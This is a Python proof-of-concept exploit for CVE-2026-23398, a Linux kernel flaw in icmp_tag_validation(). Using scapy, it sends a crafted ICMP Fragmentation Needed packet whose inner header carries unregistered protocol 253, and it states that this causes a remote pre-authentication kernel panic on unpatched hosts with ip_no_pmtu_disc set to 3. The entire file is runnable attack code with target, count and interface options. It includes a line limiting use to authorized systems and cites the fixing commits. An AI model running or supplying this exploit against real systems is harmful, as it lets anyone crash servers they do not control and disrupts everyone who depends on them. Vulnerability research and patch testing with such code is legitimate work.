#!/usr/bin/env python3 """ CVE-2026-23398 -- NULL pointer dereference in icmp_tag_validation() Remote pre-authentication kernel panic via crafted ICMP Fragmentation Needed. Affected : Linux kernel < stable commits 614aefe / d938dd5 / 1e4e2f5 Fixed : d938dd5a0ad780c891ea3bc94cae7405f11e618a (stable 6.12, 2026-03-25) 614aefe56af8 (mainline) Precondition on target: sysctl net.ipv4.ip_no_pmtu_disc = 3 Usage: sudo python3 poc.py --target sudo python3 poc.py --target 10.0.0.1 --count 3 --source 203.0.113.1 Dependency: scapy (pip install scapy) Author: Lukas Johannes Möller (https://github.com/JohannesLks/CVE-2026-23398) """ import argparse import sys try: from scapy.all import IP, ICMP, Raw, send except ImportError: print("[!] scapy not found. Install with: pip install scapy", file=sys.stderr) sys.exit(1) # Protocol 253 is designated "Use for experimentation and testing" (RFC 3692). # It has no registered handler in inet_protos[], making inet_protos[253] == NULL. UNREGISTERED_PROTO = 253 def build_frag_needed(target: str, source: str, inner_proto: int): """ Craft ICMP Type 3 / Code 4 (Destination Unreachable -- Fragmentation Needed). RFC 792 mandates that an ICMP error embeds the IP header plus first 8 bytes of the original datagram that caused the error. icmp_unreach() extracts the inner header's Protocol field and passes it to icmp_tag_validation(). Inner header direction: The ICMP error travels from a router to the *sender* of the oversized packet. The inner header therefore represents a datagram sent BY the target (victim) TO some destination. Setting inner.src = target correctly models this and avoids any source-validation drops on the target kernel. Bug path: icmp_rcv() -> icmp_unreach() -> icmp_tag_validation(inner_proto) static bool icmp_tag_validation(int proto) { bool ok; rcu_read_lock(); ok = rcu_dereference(inet_protos[proto]) // NULL when unregistered ->icmp_strict_tag_validation; // NULL deref, offset +0x10 rcu_read_unlock(); return ok; } """ inner = ( IP(src=target, dst=source, proto=inner_proto) / Raw(b"\x00" * 8) ) pkt = ( IP(dst=target) / ICMP(type=3, code=4, unused=1400) # unused carries next-hop MTU / inner ) return pkt def main(): parser = argparse.ArgumentParser( description="CVE-2026-23398 PoC -- ICMP NULL deref remote kernel panic", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=( "Precondition: target must run\n" " sysctl -w net.ipv4.ip_no_pmtu_disc=3\n\n" "Affected kernels: before d938dd5a0ad7 (stable 6.12) / 614aefe56af8 (mainline)" ), ) parser.add_argument( "--target", required=True, help="Target IP address (victim)", ) parser.add_argument( "--source", default="1.2.3.4", help="IP placed in inner header's destination field (default: 1.2.3.4)", ) parser.add_argument( "--proto", type=int, default=UNREGISTERED_PROTO, help=f"Inner IP protocol number -- must have no registered handler (default: {UNREGISTERED_PROTO})", ) parser.add_argument( "--count", type=int, default=1, help="Number of packets to send (default: 1; one is sufficient)", ) parser.add_argument( "--interval", type=float, default=0.1, help="Inter-packet interval in seconds (default: 0.1)", ) parser.add_argument( "--iface", default=None, help="Outgoing network interface (optional; scapy selects automatically)", ) args = parser.parse_args() if not 0 <= args.proto <= 255: print("[!] --proto must be in range 0-255", file=sys.stderr) sys.exit(1) pkt = build_frag_needed(args.target, args.source, args.proto) print("CVE-2026-23398 -- icmp_tag_validation() NULL deref") print(f" target : {args.target}") print(f" inner.src : {args.target} (victim as original sender)") print(f" inner.dst : {args.source}") print(f" inner.proto : {args.proto} (0x{args.proto:02x})") print(f" packets : {args.count}") print() print(" [!] Precondition: net.ipv4.ip_no_pmtu_disc = 3 must be set on target") print(" [!] Only test against systems you own or have written authorization for.") print() pkt.show2() print() try: send(pkt, count=args.count, inter=args.interval, iface=args.iface, verbose=True) except PermissionError: print("[!] Raw socket requires root privileges (run with sudo).", file=sys.stderr) sys.exit(1) print(f"[+] {args.count} packet(s) sent.") print(" If the precondition is met and the kernel is unpatched,") print(" the target will panic in softirq context (general protection fault).") if __name__ == "__main__": main()